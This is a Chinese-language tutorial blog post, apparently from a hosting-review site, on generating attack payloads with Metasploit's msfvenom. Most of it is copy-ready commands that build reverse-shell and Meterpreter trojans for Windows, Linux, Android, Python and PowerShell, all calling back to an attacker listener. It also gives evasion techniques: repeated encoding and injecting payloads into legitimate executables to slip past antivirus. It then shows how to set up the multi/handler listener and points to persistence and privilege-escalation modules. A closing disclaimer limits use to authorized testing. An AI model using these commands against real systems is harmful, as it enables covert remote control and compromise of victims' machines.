欢迎光临
我们一直在努力

msfvenom载荷生成实战指南

msfvenom 载荷生成工具详细指南

msfvenom 是 Metasploit 框架中用于生成和编码攻击载荷(Payload)的核心工具,它合并了旧版 msfpayload 和 msfencode 的功能,支持生成跨平台、多格式的载荷,并集成了编码、加密、模板注入等免杀技术 。

一、核心参数详解

1.1 基础参数

下表列出了生成载荷时必须指定的核心参数:

参数缩写说明示例
-p, –payload -p 指定要使用的载荷类型。 windows/meterpreter/reverse_tcp
-f, –format -f 指定输出文件的格式。 exe, raw, python, c
-o, –out -o 指定输出文件的路径和名称。 /tmp/payload.exe
LHOST – 监听主机的 IP 地址(反向连接必需)。 `
192.168.1.100`      
LPORT – 监听主机的端口号。 `
4444`      

1.2 平台与架构参数

参数说明示例
–platform 指定目标平台。 windows, linux, android
-a, –arch 指定目标架构。 x86, x64

1.3 编码与迭代参数

参数说明示例
-e, –encoder 指定编码器以规避静态查杀。 x86/shikata_ga_nai
-i, –iterations 指定编码迭代次数。 `
5`    
-b, –bad-chars 指定需要避免的坏字符(如 \\x00\\x0a)。 \\x00\\xff

二、常用载荷生成示例

2.1 Windows 平台载荷

生成一个标准的 Windows 反向 TCP Meterpreter 可执行文件:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /tmp/win_rev.exe

生成一个 64 位 Windows 的载荷,并使用编码器:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x64/xor_dynamic -f exe -o /tmp/win64_encoded.exe

2.2 Linux 平台载荷

生成一个 Linux 反向 Shell 的 ELF 文件:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o /tmp/linux_rev.elf

2.3 Android 平台载荷

生成一个 Android 应用载荷:

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -o /tmp/android_payload.apk

2.4 脚本类载荷

生成 Python 格式的反向 Shell:

msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.100 LPORT=4444 -f raw -o /tmp/rev_shell.py

生成 PowerShell 载荷:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 -f psh-reflection -o /tmp/payload.ps1

三、高级免杀与编码技术

3.1 多重编码

通过管道或 -i 参数进行多次编码,可以显著提高免杀效果 。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_upper -i 5 -f exe -o /tmp/multi_encoded.exe

或者使用单一命令指定迭代次数:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 15 -f exe -o /tmp/iter_encoded.exe

3.2 使用模板注入

将载荷注入到一个合法的可执行文件(模板)中,以绕过基于签名的检测 。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -x /path/to/legitimate.exe -f exe -o /tmp/embedded_payload.exe

参数 -x 指定模板文件,-k 参数可以尝试保留模板的原始功能(不总是有效)。

3.3 规避坏字符

在生成 Shellcode 时,避免某些可能破坏程序执行的字符(如 NULL 字节 \\x00、换行符 \\x0a 等)。

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -b '\\x00\\x0a\\x0d\\xff' -f c

四、监听器配置(Multi/Handler)

生成载荷后,必须在 Metasploit 中配置对应的监听器来接收连接 。

  • 启动 msfconsole。
  • 使用 exploit/multi/handler 模块。
  • 设置与生成载荷时完全一致的参数(PAYLOAD, LHOST, LPORT)。
  • 执行 exploit 或 run 开始监听。
  • msf6 > use exploit/multi/handler
    msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
    msf6 exploit(multi/handler) > set LHOST 192.168.1.100
    msf6 exploit(multi/handler) > set LPORT 4444
    msf6 exploit(multi/handler) > exploit -j

    -j 选项表示作为后台任务运行监听器。

    五、实用技巧与注意事项

    5.1 列出所有可用选项

    查看所有可用的载荷:

    msfvenom -l payloads

    查看所有可用的编码器:

    msfvenom -l encoders

    查看所有可用的输出格式:

    msfvenom -l formats

    5.2 生成 Shellcode (C/Python/Raw格式)

    生成 C 语言数组格式的 Shellcode,便于嵌入到其他程序中:

    msfvenom -p windows/exec CMD=calc.exe -f c

    生成 Python 字节码格式:

    msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f python

    5.3 载荷的持久化与权限提升

    部分高级载荷支持内置的持久化(Persistence)和权限提升(Privilege Escalation)功能,这些通常通过 Meterpreter 的后期利用模块实现,而非在 msfvenom 生成时直接集成 。生成载荷后,可通过 Meterpreter 会话手动执行 persistence、getsystem 等模块。

    5.4 免杀的局限性

    尽管编码和加壳(如使用 UPX )能绕过部分静态检测,但现代 EDR/AV 通常结合行为检测和云查杀。因此,免杀是一个持续对抗的过程,可能需要结合自定义编译、API 混淆、睡眠(Sleep)等技术。

    5.5 法律与道德声明

    msfvenom 是一个功能强大的渗透测试工具,仅限在合法授权的安全评估、渗透测试或教学研究环境中使用。未经授权对他人系统使用攻击载荷是非法行为,将承担法律责任。


    参考来源

    • 使用Metasploit生成攻击载荷——msfvenom免杀、upx加壳
    • 13、msfvenom生成二进制载荷payload
    • Metasploit Framework生成定制化的攻击载荷msfvenom
    • MSF攻击载荷的生成
    • 从生成到上线:一份超详细的Metasploit msfvenom木马制作与监听配置指南

     

    赞(0)
    未经允许不得转载:171主机测评 » msfvenom载荷生成实战指南
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址